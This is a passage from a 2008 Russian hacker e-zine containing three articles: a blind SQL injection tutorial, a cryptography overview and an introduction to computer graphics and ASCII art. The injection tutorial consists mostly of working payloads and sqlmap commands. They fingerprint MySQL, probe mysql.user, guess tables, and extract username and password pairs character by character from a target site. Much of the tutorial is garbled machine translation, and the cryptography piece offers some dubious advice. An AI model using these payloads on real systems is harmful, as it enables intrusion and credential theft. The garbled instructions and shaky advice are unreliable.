Слепые инъекции от «а» до «я» Всем привет. Моя сегодняшняя статья будет посвящена "слепым" инъекциям (blind sql inj). Итак, начнем. "Слепые" инъекции используются когда видно, что веб-приложение уязвимо к sql инъекции, но результаты инъекции не видны. При слепых инъекциях не пытайтесь использовать комментарии (например: -- или / *) это не нужно, только помешает. Есть автоматические утилиты для работы с такими инъекциями, но я лично предпочитаю использовать сочетание -руки-тулза- делать инъекцию в ручную, а с помощью инструментов вывести реальное содержание из колонки. Тянение данные mysql, используя слепые атаки происходит медленно, даже при использовании инструментов , но когда нет другого варианта. К примеру у нас есть урл: http://site.com/news.php?id=12 когда перейдем по ссылку, видим новостную статью с названием и содержанием статьи. Для тестирования на слепую инъекцию набираем: news.php?id=12 and 1=1 Мы должны видеть тот же урл и содержание как и прежде, а теперь попробуем: news.php?id=12 and 1=2 И первым признаком об успешной инъекксации мы увидим пропавшее без вести содержание страницы, или заголовок, возможно нумерации страниц, или их количество. Вы можете нажимать назад и вперед в браузере искать различия. Если нашими действиями было, то, что мы на строки с переменной, вместо news.php? Номер = 12 и 1 = 1 /news.php?Номер = 12 и 1 = 2, мы будем делать news.php? Номер = 12 'и 1 =' 1 / news.php?Номер = 12 'и 1 ='2 это синтаксическая ошибка меньше. Для нашего примера можно сказать, что заголовок / содержание статьи исчезает, когда мы делали 1 = 2, но все еще там остается, когда мы делали 1 = 1. Мы видим, что наш вклад отражается, следственно вернулись данные mysql. а когда 1 = 2 - тут возвращения не будет, а если запрос верного содержания, как правило, данные возвращаются с остальными sql запросами. Получаем версию MySQL Первый рассматриваемый мною вопрос, это добыча номера версии mysql, который поможет нам узнать, какие команды, которые доступны в различных mysql. news.php?id=12 and substring(@@version,1,1)=4 Только что я первый символ @ @ сравнил с 4, если это действительно 4 версия, мы должны увидеть новости статьи, иначе страница будет вести содержание, как бы мы делали 1 = 2. Если в странице пропало содержание, следует изменить 4 на 5 и повторить попытку, на этот раз загружает страницу, как правило, с содержанием там так что мы знаем, имеют дело с Mysql5. если 4 и 5 не работает, попробуйте 3. Проверим, имеем ли мы доступ к mysql.user Далее я просто хочу проверить subselects, иногда слово "выберите" является в черном списке.

Page 46: VR-Online (December 2008)

news.php?id=12 and (select 1)=1 Если subselects работает, мы должны увидеть страницу загрузки в нормальном режиме. Далее идем смотреть, имеем ли мы права "повышенного" пользователя, который имеет доступ к mysql.user. news.php?id=12 and (SELECT 1 from mysql.user limit 0,1)=1 Если бы мы имеем доступ к mysql.user, запрос вернет 1, если мы не имеем, оно будет выдавать ошибку и нечего не будет происходить, не вернется в общем. Так что, если происходит загрузка страницы, как правило, здесь мы имеем доступ к mysql.user и это может быть полезным для того, что бы тянуть mysql хэши, позже попробуйте использовать load_file() и OUTFILE. Имейте также в виду, я использовал 'предел 0,1', subselects,тоесть может только возвращаться 1 строка данных, или же будут ошибки, так что не забудьте об этом. Проверка действительности столбцов В нашем примере мы сидим в mysql5, но тянуться данные из information_schema медленно, в слепой иньекции может быть лучше тупо попробовать угадать несколько таблиц. Или Вы можете использовать mysql4 и угадать, таблицы / столбца, чтобы получить еще больше. news.php?id=12 and (SELECT 1 from users limit 0,1)=1 Я старался угадать таблицу пользователей, если есть таблица пользователей, то она будет загружаться в нормальном режиме. Если не получилось угадать, просто измените таблицу и попробуйте угадать имена таблиц. Проверка на имена столбцов в таблице найдены Если вы получили имена столбцов, то мы теперь можем попытаться угадать некоторые колонки в этих таблицах. Таблица пользователей уже была установлено выше, поэтому я подробней на этом шаге останавливаться не буду, так как тут следует использовать тот же метод, который мы использовали выше перебирание. news.php?id=12 and (SELECT substring(concat(1,password),1,1) from users limit 0,1)=1 И так, сейчас надо было объединить'1' с колонкой пароля, а затем, используя подстроку "нарезать" его пропустить просто первый символ, который должен быть 1, если колонка пароля, не существует, то следует изменить колонку пароля, так что бы попытаться угадать, другие имена столбцов. Данные из найденных table/columns Ну на эту часть уходит много времени, поэтому я предпочитаю использовать автоматические инструменты из этой оперы, но зная, как это делать вручную, вы не будете зависеть от программ. И так я собираюсь тянуть имя пользователя, пароль колонку из таблицы пользователей. У меня уже найдено имя пользователя, пароль, адрес электронной почты, userid, будет оставаться в колонках таблицы, используя выше метод. news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100

Page 47: VR-Online (December 2008)

Я здесь впервые вывел имя пользователя / пароль, в противном случае вы могли бы сделать лимит 0,1 вывести из первых пользователей, subselects ограничиваются 1 строку, если ваш subselect вернется более 1раза подряд, он будет ошибкой, и это не удастся. Так что это не плохой идеей придерживаться лимит на 0,1 конце если не уверены в том, сколько строк будут возвращены. Затем вне моей subselect подстрока (, 1,1) это trims subselect вниз только первый символ, 1 символов в длину. Затем ascii () преобразует,так что бы 1 символ в ascii имел числовые значения, когда я сравнивал > 100. Так, в вышеприведенном примере, если ascii символов больше, чем 100, страница загружается нормально. В нашем случае страница не загружается с содержанием тем которое мы знаем, первый символ меньше, чем 100, мы будем угадать еще раз. news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>80 загрузки страницы, как правило, > 80, . Мы идем выше. news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>90 переборщили, будем брать значение поменьше... news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>85 маловато… news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>86 Да, сейчас он сократился до значения большего , чем 85, но не больше 86. Итак, мы знаем, что наша номер 86! Мы можете проверить это, выполнив = 86, если вы хотите быть уверены используя ascii конвертер-- мы знаем, символ (86) является "V", так что первая буква нашего вернулся на строку "V", . Для получения следующего подпункта мы изменим подстроку... news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>100 Я изменил подстроку на 1,1, 2,1. Теперь он возвращает 2 subselect, 1 символов в длину. Мы делаем то же самое еще 1раз, как первый символ. На этот раз> 100 вернулись, так что теперь мы снова будем искать следующую характеристику сабжект, как и в вышеупомянутом пункте будем искать число. news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>120 мм, 120 многовато news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>110 много news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>105 105-еще не то

Page 48: VR-Online (December 2008)

news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>103 уже много, и так 105-много,103-мало,наше число 104! news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>104 если мы хотим сделать наше число 105,то представим, что символ (105) - "i". Поэтому у нас "Vi" до сих пор. Как мы видим, мы сделали 11 запросов и получили только 2 символа из базы данных, следовательно, число довольно быстро находится. Посмотрите, сколько времени займет тянущиеся пользователя / паролей хэш м. Держите увеличивающиеся подстроку, пока мы не получим до конца, где> 0. Автоматически тянущие данные Я использую sqlmap,для меня это самый оптимальный вариант. Есть другие инструменты для слепых инъекций, тут как говорится, фломастеры разные. ./sqlmap.py -u "http://site.com/news.php?id=12" -p id -a "./txt/user-agents.txt" -v1 --string "Posted 3-3-2008" -e "(SELECT concat(username,0x3a,password) from users where userid=2)" -u - это юрл вашей ньекции -р - peramiter, будет тянуть случайных пользователей из текста itll иное использование умолчанию sqlmap агента пользователя, . -- комбинация которая появляется, когда команда TRUE, , делая 1 = 1 и 1 = 2 вставляет небольшой фрагмент текста, если мы хотим сделать subselect надо обязательно добавить () SELECT вокруг вашего запроса. Sqlmap также можете также получить таблицы / столбцы, если вы имеете доступ к mysql5, но нужна полная таблица structer. Use-е сделет свои собственные команды что бы получить таблицы / столбцы, представляющие интерес. ./sqlmap.py -u "http://site.com/news.php?id=12" -p id -a "./txt/user-agents.txt" -v1 --string "Posted 3-3-2008" -e "(SELECT concat(table_schema,0x3a,table_name,0x3a,column_name) from information_schema.columns where column_name like 0x257061737325 limit 0,1)" sqlmap не любит передачу кавычек, даже если ваша инъекция имеет отключенные magicquotes, Теперь мы просто с помощью скьюлмап начнем перебирать таблицы и колонки. Written by baltazar WWW: http://forum.xaknet.ru

Page 49: VR-Online (December 2008)

Криптография как метод защиты информации Дело было вечером. Делать было нечего, решил написать статью,и тут мне в голову пришла мысль о м раскрытии темы о защите информации в целом, не буду Вас томить нудными историческими справками и статистикой, сразу перейду к делу. В своей статье я рассмотрю несколько подпунктов:

1.Основные понятия криптографии 2.Алгоритмы шифрования 3.Шифраторы(программы) 4.Аппаратные шифраторы

Криптография и шифрование

Что такое криптография вообще?? А криптография, как говорит вики, это — наука о математических методах обеспечения конфиденциальности (невозможности прочтения информации посторонним) и аутентичности (целостности и подлинности авторства, а также невозможности отказа от авторства) информации.

Изначально криптография изучала методы шифрования информации — обратимого преобразования открытого (исходного) текста на основе секретного алгоритма и/или ключа в шифрованный текст (шифртекст). Шифрование - преобразовательный процесс: исходный текст, который носит также название открытого текста, заменяется шифрованным текстом. Соответственно, дешифрование - обратный шифрованию процесс. На основе ключа шифрованный текст преобразуется в исходный.

Ключ - информация, необходимая для беспрепятственного шифрования и дешифрования текстов.

Алфавит - конечное множество используемых для кодирования информации знаков.

Текст - упорядоченный набор из элементов алфавита. В качестве примеров алфавитов, можно привести:

• алфавит Z33 - 32 буквы русского алфавита и пробел; • алфавит Z256 - символы, входящие в стандартные коды ASCII и КОИ-8; • бинарный алфавит - Z2 = {0,1}; • восьмеричный алфавит или шестнадцатеричный алфавит; Криптографическая система представляет собой семейство T преобразований открытого текста. xлены этого семейства индексируются, или обозначаются символом k; параметр k является ключом. Пространство ключей K - это набор возможных значений ключа. Обычно ключ представляет собой последовательный ряд букв алфавита. Криптосистемы разделяются на симметричные и с открытым ключом (или асимметричесские).

В симметричных криптосистемах и для шифрования, и для дешифрования используется один и тот же ключ. В системах с открытым ключом используются два ключа - открытый и закрытый, которые математически связаны друг с другом. Информация шифруется с помощью открытого

Page 50: VR-Online (December 2008)

ключа, который доступен всем желающим, а расшифровывается с помощью закрытого ключа, известного только получателю сообщения.

Термины распределение ключей и управление ключами относятся к процессам системы обработки информации, содержанием которых является составление и распределение ключей между пользователями. Электронной подписью называется присоединяемое к тексту его криптографическое преобразование, которое позволяет при получении текста другим пользователем проверить авторство и подлинность сообщения.

Симметричные и асимметричные криптосистемы Сгенерировать секретный ключ и зашифровать им сообщение — это еще полдела. А вот как переслать такой ключ тому, кто должен с его помощью расшифровать исходное сообщение? Передача шифрующего ключа считается одной из основных проблем криптографии. Оставаясь в рамках симметричной системы, необходимо иметь надежный канал связи для передачи секретного ключа. Но такой канал не всегда бывает доступен, и потому американские математики Диффи, Хеллман и Меркле разработали в 1976 г. концепцию открытого ключа и асимметричного шифрования. В таких криптосистемах общедоступным является только ключ для процесса шифрования, а процедура дешифрования известна лишь обладателю секретного ключа. Например, когда я хочу, чтобы мне выслали сообщение, то генерирую открытый и секретный ключи. Открытый посылаю вам, вы шифруете им сообщение и отправляете мне. Дешифровать сообщение могу только я, так как секретный ключ я никому не передавал. Конечно, оба ключа связаны особым образом (в каждой криптосистеме по-разному), и распространение открытого ключа не разрушает криптостойкость системы. В асимметричных системах должно удовлетворяться следующее требование: нет такого алгоритма (или он пока неизвестен), который бы из криптотекста и открытого ключа выводил исходный текст. Итак, криптография дает возможность преобразовать информацию таким образом, что ее прочтение возможно только при знании ключа.(информация, необходимая для беспрепятственного шифрования и дешифрования текстов). Для современных криптографических систем защиты информации также есть требования: 1. зашифрованное сообщение должно поддаваться чтению только при наличии ключа; 2. число операций, необходимых для определения использованного ключа шифрования по фрагменту шифрованного сообщения и соответствующего ему открытого текста, должно быть не меньше общего числа возможных ключей; 3. число операций, необходимых для расшифровывания информации путем перебора всевозможных ключей должно иметь строгую нижнюю оценку и выходить за пределы возможностей современных компьютеров. 4. знание алгоритма шифрования не должно влиять на надежность защиты; 5. незначительное изменение ключа должно приводить к существенному изменению вида зашифрованного сообщения даже при использовании одного и того же ключа; 6.структурные элементы алгоритма шифрования должны быть неизменными;

Page 51: VR-Online (December 2008)

7. дополнительные биты, вводимые в сообщение в процессе шифрования, должен быть полностью и надежно скрыты в шифрованном тексте; 8.длина шифрованного текста должна быть равной длине исходного текста; 9.не должно быть простых и легко устанавливаемых зависимостью между ключами, последовательно используемыми в процессе шифрования; 10. любой ключ из множества возможных должен обеспечивать надежную защиту информации; Среди всех способов шифровании я выделил такие методы: • Алгоритмы перестановки — символы оригинального текста меняются местами по определенному принципу, являющемуся секретным ключом. Алгоритм перестановки сам по себе обладает низкой криптостойкостью, но входит в качестве элемента в очень многие современные криптосистемы. • Комбинированные методы. Одним из важнейших требований, предъявляемых к системе шифрования, является ее высокая стойкость. Однако повышение стойкости любого метода шифрования приводит, как правило, к существенному усложнению самого процесса шифрования и увеличению затрат ресурсов (времени, аппаратных средств, уменьшению пропускной способности и т.п.). Достаточно эффективным средством повышения стойкости шифрования является комбинированное использование нескольких различных способов шифрования, т.е. последовательное шифрование исходного текста с помощью двух или более методов. Вообще говоря, комбинировать можно любые методы шифрования и в любом количестве, однако на практике наибольшее распространение получили следующие комбинации: 1. подстановка + гаммирование; 2. перестановка + гаммирование; 3. гаммирование + гаммирование; 4. паодстановка + перестановка; Типичным примером комбинированного шифра является национальный стандарт США криптографического закрытия данных (DES). Криптографический стандарт DES Алгоритм реализуется в течение 16 аналогичных циклов шифрования, где на I-ом цикле используется цикловой ключ Ki , представляющий собой алгоритмически вырабатываемую выборку 48 битов из 56 битов ключа Ki, I=1,2,…,16. Из-за небольшого размера ключа было принято решение использовать DES-алгоритм для закрытия коммерческой(несекретной) информации. Практическая реализация перебора всех ключей в данных условиях экономически не целесообразна, так как затраты на реализацию перебора не соответствуют ценности информации, закрываемой шифром. Основные области применения DES-алгоритма: 1. хранение данных на компьютерах (шифрование файлов, паролей); 2. аутентификация сообщений (имея сообщение и контрольную группу, несложно убедиться в подлинности сообщения;

Page 52: VR-Online (December 2008)

3. электронная система платежей (при операциях с широкой клиентурой и между банками); 4 Электронный обмен коммерческой информацией( обмен данными между покупателями, продавцом и банкиром защищен от изменений и перехвата. исходного текста с помощью двух и более методов. • Алгоритмы гаммирования — символы исходного текста складываются с символами некой случайной последовательности. Самым распространенным примером считается шифрование файлов «имя пользователя.рwl», в которых операционная система Microsoft Windows 95 хранит пароли к сетевым ресурсам данного пользователя (пароли на вход в NT-серверы, пароли для DialUр-доступа в Интернет и т.д.). Когда пользователь вводит свой пароль при входе в Windows 95, из него по алгоритму шифрования RC4 генерируется гамма (всегда одна и та же), применяемая для шифрования сетевых паролей. Простота подбора пароля обусловливается в данном случае тем, что Windows всегда предпочитает одну и ту же гамму.

Алгоритмы шифрования • Алгоритмы, основанные на сложных математических преобразованиях исходного текста по некоторой формуле. Многие из них используют нерешенные математические задачи. Например, широко используемый в Интернете алгоритм шифрования RSA основан на свойствах простых чисел. Алгоритм RSA Алгоритм RSA (по первым буквам фамилий его создателей Rivest-Shamir-Adleman) основан на свойствах простых чисел (причем очень больших). Простыми называются такие числа, которые не имеют делителей, кроме самих себя и единицы. А взаимно простыми называются числа, не имеющие общих делителей, кроме 1.Криптосистема RSA широко применяется в Интернете. Когда вы подсоединяетесь к защищенному серверу по протоколу SSL, устанавливаете на свой ПК сертификат WebMoney либо подключаетесь к удаленному серверу с помощью Oрen SSH или SecureShell, то все эти программы применяют шифрование открытым ключом с использованием идей алгоритма RSAКриптостойкость RSA основывается на том предположении, что исключительно трудно, если вообще реально, определить закрытый ключ из открытого. Для этого требовалось решить задачу о существовании делителей огромного целого числа. До сих пор ее аналитическими методами никто не решил, и алгоритм RSA можно взломать лишь путем полного перебора. Строго говоря, утверждение, что задача разложения на множители сложна и что взлом системы RSA труден, также не доказано. • Алгоритмы замены или подстановки — символы исходного текста заменяются на символы другого (или того же) алфавита в соответствии с заранее определенной схемой, которая и будет ключом данного шифра. Отдельно этот метод в современных криптосистемах практически не используется из-за чрезвычайно низкой криптостойкости. Алгоритмы замены В этом наиболее простом методе символы шифруемого текста заменяются другими символами, взятыми из одного или нескольких алфавита. Самой простой разновидностью является прямая (простая) замена, когда буквы шифруемого сообщения заменяются другими буквами того же самого или некоторого другого алфавита. Алгоритм перестановки

Page 53: VR-Online (December 2008)

Этот метод заключается в том, что символы шифруемого текста переставляются по определенным правилам внутри шифруемого блока символов. Рассмотрим некоторые разновидности этого метода, которые могут быть использованы в автоматизированных системах. Самая простая перестановка написать исходный текст задом наперед и одновременно разбить шифрограмму на пятерки букв. Алгоритм гаммирования Суть этого метода состоит в том что символы шифруемого текста последовательно складываются с символами некоторой специальной последовательности, которая называется гаммой. Иногда такой метод представляют как наложение гаммы на исходный текст, поэтому он получил название "гаммирование". Стойкость шифрования методом гаммирования определяется главным образом свойством гаммы — длительностью периода и равномерностью статистических характеристик. Последнее свойство обеспечивает отсутствие закономерностей в появлении различных символов в пределах периода. Обычно разделяют две разновидности гаммирования — с конечной и бесконечной гаммами. Написал, только то, что понял, поэтому перейду к следующему подразделу. Шифраторы Обзор шифраторов я уже делал,поэтому не хотел бы повторятся,лично я для себя отметил 2 шифратора-PGP and BestCrypt. РGР РGР (Рretty Good Рrivacy) — пожалуй , самый известный и самый надежный шифровальщик. Автор программы , Рhiliр Zimmermann, практически всю свою жизнь посвятил шифрованию данных. Эта программа представляет целый ряд весьма мощных утилит. В папке Автозагрузка появляется РGРtray, который загружает РGР и отвечает за управление остальными элементами программы. Первым делом после установки программы необходимо зайти в РGРkeys и создать пару ключей — публичный и приватный. Ключи можно создавать по алгоритмам DSS и RSA , причем первый предпочтительнее. Длина ключа может находиться в пределах 1024-4096 бит. При создании ключей вам предстоит ввести строку символов, которой вы будете пользоваться в дальнейшем при расшифровке данных. Специалисты рекомендуют вводить строку из 100-200 символов, но учтите, что программа не работает с буфером обмена, так что эту последовательность вам предстоит вводить вручную каждый раз, когда вы будете расшифровывать какой-либо файл. Если вы забудете эту строку или испортите свой приватный ключ, то все, что было зашифровано предыдущим ключом, будет безвозвратно утеряно. Работает это все следующим образом: вы обмениваетесь публичными ключами со своими друзьями, поле чего можно переписываться по e-mail. Имея ваш публичный ключ, получатель сможет открыть письмо, но уже своим приватным кодом. При создании закодированного файла необходимо указать тех, кто сможет открыть этот файл. В появившееся окошко необходимо внести свой ключ, а так же ключи тех, кто также должен иметь доступ к шифруемой информации. Из программы РGРtools можно зашифровывать (шифрование осуществляется при помощи алгоритмов CAST, IDEA, и Triрe DES), подписывать, расшифровывать файлы, вызывать РGРkeys и Wiрe. Утилита Wiрe выполняет удаление файлов без возможности

Page 54: VR-Online (December 2008)

восстановлеB ВestCryрТ Данная программа финской фирмы Jetico обеспечивает безопасность данных при помощи создания виртуальных контейнеров. Под контейнерами понимается зашифрованный файл, хранящийся на логическом диске, который подключается к системе как еще один логический диск. При работе с программой первым делом придется создать контейнер. Для этого требуется указать имя файла, в котором будет содержаться информация, его размер, описание и логический диск, на котором он будет располагаться, а также алгоритм шифрования. Программа предоставляет на выбор четыре алгоритма: BLOWFISH, DES, ГОСТ 28147-89, TWOFISH. Все ключи, кроме DES, имеют длину 256 бит, длина ключа DES — 64 бита. Сегодня этого уже откровенно недостаточно для обеспечения по-настоящему высокого уровня конфиденциальности. Эти ключи могут остановить хакера, но если кому-то действительно понадобиться получить доступ к вашей информации , то он его получит. Для открытия диска можно установить режим «только для чтения», что запретит любой программе записывать на него информацию. Как обычно, можно попросить программу подключить диск каждый раз при загрузке и отключать по истечении какого-то времени или по комбинации горячих клавиш. При этом виртуальный диск может обслуживаться программами Norton Utilites и Nuts & Bolts как обычный логический диск. Вместе с программой BestCryрt устанавливается freeware утилита BCWiрe. Она предназначена для того, чтобы после удаления каких-либо файлов с жесткого диска их невозможно было восстановить. В программе есть еще одна замечательная утилита под названием BestCrytр Service Manager. Она предназначена для того, чтобы вы могли добавлять нужные и удалять ненужные алгоритмы шифрования и модули генерации ключей. Но это нужно лишь для тех, кто не доверяет алгоритму шифрования DES. Так что, если у вас есть другой алгоритм, то можно смело удалять старые алгоритмы шифрования и удалять новые. Плюсы и минусы шифраторов 1. К сожелению этих шифраторов куева тучча,как бы грубо это не звучало,разроботчики часто ппишут "криво",возможно специально,чтобы иметь самими доступ к ключам без самого доступа,но с другой стороны разработчики товарищам-хекером) гораздо облегчили работу)) 2. Еще одним недостатков является быстродействие,к сожелению тут стоит полагатся только на процессор компьютера,в отлчии от апаратных шифраторов,которые могут работьаь с любой системой. Но есть и плюсы: 1.Бесплатность или малая стоимость продукта. 2.Гибкость,т.е.возможность быстрой заменыы алгоритма шифрования 4. Аппаратные шифраторы Аппаратный шифратор по виду и по сути представляет собой обычное компьютерное железо, чаще всего это плата расширения, вставляемая в разъем ISA или РCI системной платы ПК. Апаратные шифраторы очень дорогие,поэтому подробно я на них останавливатся не буду.). За большие деньги-большие возможности:

1. Контроль входа на компьютер. При включении ПК устройство требует от пользователя

Page 55: VR-Online (December 2008)

ввести персональную информацию (например, вставить дискету с ключами). Работа будет разрешена только после того, как устройство опознает предъявленные ключи и сочтет их своими.

2.Генерация случайных чисел. Это нужно прежде всего для получения криптографических ключей. Кроме того, многие алгоритмы защиты используют их и для других целей, например алгоритм электронной подписи.

3.Контроль целостности файлов операционной системы. Это не позволит злоумышленнику в ваше отсутствие изменить какие-либо данные.

Рассмотрим, из чего сотоит эта махина:

Структура шифраторов

1. Блок управления – основной модуль шифратора, который «заведует» работой всех остальных. Обычно реализуется на базе микроконтроллера, сейчас их предлагается немало и можно выбрать подходящий. Главное – быстродействие и достаточное количество внутренних ресурсов, а также внешних портов для подключения всех необходимых модулей. 2. Контроллер системной шины ПК( например, РCI). Через него осуществляется основной обмен данными между УКЗД и компьютером.

3. Энергонезависимое запоминающее устройство(ЗУ) – обычно на базе микросхем флэш-памяти. Оно должно быть достаточно емким (несколько мегабайт) и допускать большое число циклов записи. Здесь размещается программное обеспечение микроконтроллера, которое выполняется при инициализации устройства( т.е. когда шифратор перехватывает управление при загрузке компьютера).

4. Память журнала. Тоже представляет собой энергонезависимое ЗУ; это действительно еще одна флэш-микросхема: во избежание возможных коллизий память для программ и для журнала не должны объединяться.

5. Шифропроцессор – это специализированная микросхема или микросхема программируемой логики РLD – Рrogrammable Logic Device. Собственно, он и шифрует данные. Подробнее об этом немного позже.

6. Генератор случайных чисел. Обычно представляет собой некое устройство, дающее статически случайный шум. Это может быть шумовой диод. А перед использованием по специальным правилам белый шум преобразуется в цифровую форму. 7. Блок ввода ключевой информации. Обеспечивает защищенный прием ключей с ключевого носителя, через него также вводится информация о пользователе для решения вопроса «свой/чужой». 8. Блок коммутаторов. Помимо перечисленных выше основных функций, УКЗД может по велению администратора безопасности отключать возможность работы со внешними устройствами: дисководами, CD-ROM, параллельными и последовательными портами, шиной USB и т.д. Если пользователь работает с настолько важной информацией, что ее нельзя ни печатать, ни копировать, УКЗД при входе на компьютер заблокирует все внешние устройства, включая даже сетевую карту. В свою очередь шифратор состоит из:

Page 56: VR-Online (December 2008)

1.Вычислитель – набор регистров , сумматоров, блоков подстановки и т.п., связанных между собой шинами передачи данных. Собственно, он и выполняет криптографические действия, причем должен делать это максимально быстро. На вход вычислитель получает открытые данные, которые следует зашифровать, и ключ шифрования, который, как известно, является случайным числом. А шифрование – это сложное математическое преобразование, поэтому его результат тоже очень похож на выбор случайных величин (попробуйте сжать зашифрованный файл каким-нибудь архиватором – при использовании серьезного алгоритма защиты это будет невозможно). 2.Блок управления. На самом деле это аппаратно реализованная программа, управляющая вычислителем. Если по какой-нибудь причине программа измениться, его работа начнет давать сбой. Это чревато, например, появлением данных в открытом виде вместо зашифрованного (хотя это крайний случай; более вероятно получение такой шифровки, которую ни вы сами, ни кто-либо еще уже не расшифрует никогда). Поэтому программа должна не только надежно храниться и устойчиво функционировать, но и регулярно проверять сама себя. Кстати, внешний блок управления(описанный выше) тоже периодически посылает ей контрольные задачи. На практике для большей уверенности ставят два шифропроцессора. Которые постоянно сравнивают свои результаты (если они не совпадают, шифрование придется повторить). Все это требуется для обеспечения неизменности алгоритма шифрования.

3.Буфер ввода-вывода необходим для повышения производительности устройства

Итоги Во-первых, пользоваться надо только проверенными программами, которые успешно применяются несколько лет и зарекомендовали себя как надежные средства, хорошо противостоящие взлому, и которые, естественно, написаны без ошибок. Во-вторых, как показала практика, не следует приобретать версии программ, оканчивающиеся на 0(2.0,3.0,4.0 и т.д.), т.к. именно в них чаще всего встречаются т.н. дыры. В-третьих нужно охранять собственные ключи, чтобы они не стали общедоступными , ато толку от такой защиты? В общем, я рассмотрел наиболее распространенные методы защиты информации путем криптографии. Written by baltazar WWW: http://forum.xaknet.ru

Page 57: VR-Online (December 2008)
Page 58: VR-Online (December 2008)

Графика: Начало Наверно такую обширную тему лучше описывать в книге или даже в серии книг. Но, это всего лишь статья, место тут немного, и жаль, конечно, но она не резиновая =) Да и посвящена она не изобразительному искусству, а компьютерной сцене, значит я буду описывать всё это дело там, где оно пересекается со сценой. Так что просто кратенько я постараюсь объяснить основные виды графики, фишки ну и т.д. и т.п. Итак, что же такое графика вообще? Вот что на этот вопрос ответила всемогущая википедия: Графика — вид изобразительного искусства, использующий в качестве основных изобразительных средств линии, штрихи и пятна (цвет также может применяться, но, в отличие от живописи, здесь он играет вспомогательную роль). Наверно, это и есть правильное определение. Но ведь у каждого человека должно быть своё мнение и понимание. Вот как это понимаю я: Графика - это рисунок (если хотите, созданный с помощью линий, штрихов и пятен), несущий в себе какой-то смысл, будь то сюжет взаимодействия персонажей рисунка, отрисовка какого-то отдельного объекта, просто интересная ситуация, необычное (например, висящее в воздухе долото, картинка будет чуть ниже) ну и так далее…

Ведь на самом деле, если взять просто совокупность линий, штрихов и пятен, то может получиться кракозябра, которую нельзя будет назвать графикой, а разве что чертежом каким-нибудь… Другое дело, если это какой-то предмет, образ, сцена, ну или что-то в этом духе, несущее в себе хоть какой-то смысл. Вот это уже графика, искусство. Тааак… Теперь чуть-чуть о видах графики. Вот некоторые из них - рисунок, гравюра, лубок, иллюстрации, виньетки, заставки, буквицы, обложки. Многие сюда же относят и компьютерную графику, но я считаю, что это как-то не очень правильно… Ведь практически все эти виды графики можно создать при помощи компьютера, а значит это уже что-то большее. Медленно и верно я подхожу к основной теме статьи – компьютерной графике. И так же, как и выше я приведу определение из всезнающей википедии:

Page 59: VR-Online (December 2008)

— область деятельности, в которой компьютеры используются как для синтеза изображений, так и для обработки визуальной информации, полученной из реального мира. Я с этим почти полностью согласен. Только я бы не называл это областью деятельности… Как то страшно звучит, да и странновато J. Вообще, эта та же графика, только созданная при помощи компьютера, будь то виньетка, коллаж, заставка, обложка, да хоть что. Видов компьютерной графики очень много… Просто очень-очень много J. Но всё-таки можно всё это дело разделить на два основных огромных класса: векторная и растровая графика. В векторной графике всё изображение создаётся при помощи простых геометрических фигурок – точек, линий и т.д. Т.е. грубо векторное изображение – это координаты для построения этих самых фигурок, а уже из них и вырисовывается само изображение. Чем хороша векторная графика – она может без потери качества масштабировать изображение, т.е. даже при стократном увеличении качество не упадёт, лини так же останутся чёткими, не то что в растровой графике (там сразу станут явно видны пиксели). Но есть и не очень хорошие стороны вектора – это, например, сложность в передаче цветов. В векторе очень сложно передать градиенты, плавные переходы, тени. Сложнова-то передать детали. Вообще, вектор предназначен для разработки рекламных макетов и банеров, для подготовки печатных изданий. В общем там, где нужна повышенная чёткость. Другое дело растровая графика – там можно очень хорошо передавать плавные переходы цвета, тени, прозрачность и прочее. Но вот с качеством тут дело немного хуже обстоит. При масштабировании такого изображения чёткость падает, и становятся видны пиксели, картинка становится расплывчатой. Тем не менее, и растровой графикой можно пользоваться при разработке печатной продукции, ведь все векторные изображения экспортируют в конечном итоге в растровые, для дальнейшей вёрстки, например, в газете. Просто в самом начале разработки нужно задавать правильный размер изображения и разрешение. Что-то я отклонился от темы… Приближусь-ка я к ней J. Начнём, наверно, я ASCII art’а. ASCII art (англ. American Standard Code for Information Interchange) – форма изобразительного искусства, способ творческого рисования, использующий символы ASCII для отрисовки картинки на экране. Обычно используют буквы, цифры и знаки пунктуации.

Когда изобрели печатные машинки (в 19 веке), то начали применять похожий приём на бумаге. Даже конкурсы разные устраивали. Собирали много секретарш, и они соревновались в скорости набора текста и в «рисовании» при помощи печатной машинки. Самой известной работой в этой области стал рисунок бабочки, созданный в 1898 г. Флорой Стэйсси и опубликованный в журнале Pitman’s Phonetic Journal от 15 октября 1898 г. Картинка составлена из множества скобок, дефисов, звездочек, точек и нескольких прописных букв «o».

ASCII art зародился в середине 80-х на платформах Amiga и Commodore 64. Самый больший интерес к этому виду компьютерного искусства проявляли демомейкеры. Стандартный шрифт компьютера Amiga содержал

высокие символы / и , из которых можно было составить ровные линии. Обычно такими линиями рисовали названия групп. Потом начали появляться понятия Oldschool и Newschool.

Page 60: VR-Online (December 2008)

